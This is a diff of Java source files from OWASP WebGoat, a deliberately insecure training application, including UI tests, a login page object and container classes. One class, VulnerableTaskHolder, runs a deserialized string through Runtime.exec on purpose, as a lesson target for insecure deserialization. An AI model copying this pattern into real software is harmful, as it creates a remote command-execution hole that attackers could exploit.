* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webwolf;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
class JwtUITest extends PlaywrightTest {
@Test
void shouldDecodeJwt(Browser browser) {
var page = Authentication.sylvester(browser);
var secretKey = "test";
var jwt =
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c";
page.navigate(webWolfURL("jwt"));
page.getByPlaceholder("Enter your secret key").fill(secretKey);
page.getByPlaceholder("Paste token here").type(jwt);
assertThat(page.locator("#header"))
.hasValue("{\n \"alg\" : \"HS256\",\n \"typ\" : \"JWT\"\n}");
assertThat(page.locator("#payload"))
.hasValue(
"{\n"
+ " \"iat\" : 1516239022,\n"
+ " \"name\" : \"John Doe\",\n"
+ " \"sub\" : \"1234567890\"\n"
+ "}");
}
}

View File

@ -0,0 +1,31 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webwolf;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webwolf.pages.WebWolfLoginPage;
public class LoginUITest extends PlaywrightTest {
@Test
void login(Browser browser) {
var page = Authentication.tweety(browser);
var loginPage = new WebWolfLoginPage(page);
loginPage.open();
loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
assertThat(loginPage.getSignInButton()).not().isVisible();
// logout
loginPage.logout();
assertThat(loginPage.getSignInButton()).isVisible();
}
}

View File

@ -0,0 +1,41 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webwolf.pages;
import static com.microsoft.playwright.options.AriaRole.BUTTON;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webWolfURL;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
public class WebWolfLoginPage {
private final Page page;
@Getter private final Locator signInButton;
private final Locator signOutButton;
public WebWolfLoginPage(Page page) {
this.page = page;
this.signInButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign In"));
this.signOutButton =
this.page.getByRole(AriaRole.LINK, new Page.GetByRoleOptions().setName("Sign out"));
}
public void open() {
page.navigate(webWolfURL("login"));
}
public void login(String username, String password) {
page.getByPlaceholder("Username WebGoat").fill(username);
page.getByPlaceholder("Password WebGoat").fill(password);
signInButton.click();
}
public void logout() {
this.signOutButton.click();
}
}

View File

@ -0,0 +1,78 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.dummy.insecure.framework;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
import lombok.extern.slf4j.Slf4j;
@Slf4j
// TODO move back to lesson
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 2;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
@Override
public String toString() {
return "VulnerableTaskHolder [taskName="
+ taskName
+ ", taskAction="
+ taskAction
+ ", requestedExecutionTime="
+ requestedExecutionTime
+ "]";
}
/**
* Execute a task when de-serializing a saved or received object.
*/
private void readObject(ObjectInputStream stream) throws Exception {
// unserialize data so taskName and taskAction are available
stream.defaultReadObject();
// do something with the data
log.info("restoring task: {}", taskName);
log.info("restoring time: {}", requestedExecutionTime);
if (requestedExecutionTime != null
&& (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
// do nothing is the time is not within 10 minutes after the object has been created
log.debug(this.toString());
throw new IllegalArgumentException("outdated");
}
// condition is here to prevent you from destroying the goat altogether
if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping"))
&& taskAction.length() < 22) {
log.info("about to execute: {}", taskAction);
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
log.info(line);
}
} catch (IOException e) {
log.error("IO Exception", e);
}
}
}
}

View File

@ -0,0 +1,31 @@
/*
* SPDX-FileCopyrightText: Copyright © 2008 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import org.springframework.security.core.AuthenticationException;
import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;
public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoint {
public AjaxAuthenticationEntryPoint(String loginFormUrl) {
super(loginFormUrl);
}
@Override
public void commence(
HttpServletRequest request,
HttpServletResponse response,
AuthenticationException authException)
throws IOException, ServletException {
if (request.getHeader("x-requested-with") != null) {
response.sendError(401, authException.getMessage());
} else {
super.commence(request, response, authException);
}
}
}

View File

@ -0,0 +1,147 @@
/*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import static org.asciidoctor.Asciidoctor.Factory.create;
import jakarta.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.StringWriter;
import java.util.Locale;
import java.util.Map;
import java.util.Set;
import lombok.extern.slf4j.Slf4j;
import org.asciidoctor.Asciidoctor;
import org.asciidoctor.Attributes;
import org.asciidoctor.Options;
import org.asciidoctor.extension.JavaExtensionRegistry;
import org.owasp.webgoat.container.asciidoc.*;
import org.owasp.webgoat.container.i18n.Language;
import org.springframework.core.io.ResourceLoader;
import org.springframework.http.HttpHeaders;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.i18n.SessionLocaleResolver;
import org.thymeleaf.IEngineConfiguration;
import org.thymeleaf.templateresolver.FileTemplateResolver;
import org.thymeleaf.templateresource.ITemplateResource;
import org.thymeleaf.templateresource.StringTemplateResource;
/**
* Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file:
*
* <p><code>
* <div th:replace="~{doc:AccessControlMatrix_plan.adoc}"></div>
* </code>
*/
@Slf4j
public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
private static final Asciidoctor asciidoctor = create();
private static final String PREFIX = "doc:";
private final Language language;
private final ResourceLoader resourceLoader;
public AsciiDoctorTemplateResolver(Language language, ResourceLoader resourceLoader) {
this.resourceLoader = resourceLoader;
this.language = language;
setResolvablePatterns(Set.of(PREFIX + "*"));
}
@Override
protected ITemplateResource computeTemplateResource(
IEngineConfiguration configuration,
String ownerTemplate,
String template,
String resourceName,
String characterEncoding,
Map<String, Object> templateResolutionAttributes) {
var templateName = resourceName.substring(PREFIX.length());
log.debug("template used: {}", templateName);
try (InputStream is = getInputStream(templateName)) {
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
extensionRegistry.inlineMacro("username", UsernameMacro.class);
StringWriter writer = new StringWriter();
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
return new StringTemplateResource(writer.getBuffer().toString());
} catch (IOException e) {
return new StringTemplateResource(
"<div>Unable to find documentation for: " + templateName + " </div>");
}
}
private InputStream getInputStream(String templateName) throws IOException {
log.debug("locale: {}", language.getLocale().getLanguage());
String computedResourceName =
computeResourceName(templateName, language.getLocale().getLanguage());
if (resourceLoader
.getResource("classpath:/" + computedResourceName)
.isReadable() /*isFile()*/) {
log.debug("localized file exists");
return resourceLoader.getResource("classpath:/" + computedResourceName).getInputStream();
} else {
log.debug("using english template");
return resourceLoader.getResource("classpath:/" + templateName).getInputStream();
}
}
private String computeResourceName(String resourceName, String language) {
String computedResourceName;
if (language.equals("en")) {
computedResourceName = resourceName;
} else {
computedResourceName = resourceName.replace(".adoc", "_".concat(language).concat(".adoc"));
}
log.debug("computed local file name: {}", computedResourceName);
log.debug(
"file exists: {}",
resourceLoader.getResource("classpath:/" + computedResourceName).isReadable());
return computedResourceName;
}
private Options createAttributes() {
return Options.builder()
.attributes(
Attributes.builder()
.attribute("source-highlighter", "coderay")
.attribute("backend", "xhtml")
.attribute("lang", determineLanguage())
.attribute("icons", org.asciidoctor.Attributes.FONT_ICONS)
.build())
.build();
}
private String determineLanguage() {
HttpServletRequest request =
((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
Locale browserLocale =
(Locale)
request.getSession().getAttribute(SessionLocaleResolver.LOCALE_SESSION_ATTRIBUTE_NAME);
if (null != browserLocale) {
log.debug("browser locale {}", browserLocale);
return browserLocale.getLanguage();
} else {
String langHeader = request.getHeader(HttpHeaders.ACCEPT_LANGUAGE);
if (null != langHeader) {
log.debug("browser locale {}", langHeader);
return langHeader.substring(0, 2);
} else {
log.debug("browser default english");
return "en";
}
}
}
}

View File

@ -0,0 +1,18 @@
/*
* SPDX-FileCopyrightText: Copyright © 2017 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.lang.annotation.Documented;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import org.springframework.security.core.annotation.AuthenticationPrincipal;
@Target({ElementType.PARAMETER, ElementType.TYPE})
@Retention(RetentionPolicy.RUNTIME)
@Documented
@AuthenticationPrincipal
public @interface CurrentUser {}

View File

@ -0,0 +1,18 @@
/*
* SPDX-FileCopyrightText: Copyright © 2024 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.lang.annotation.Documented;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import org.springframework.security.core.annotation.AuthenticationPrincipal;
@Target({ElementType.PARAMETER, ElementType.TYPE})
@Retention(RetentionPolicy.RUNTIME)
@Documented
@AuthenticationPrincipal(expression = "#this.getUsername()")
public @interface CurrentUsername {}

Some files were not shown because too many files have changed in this diff Show More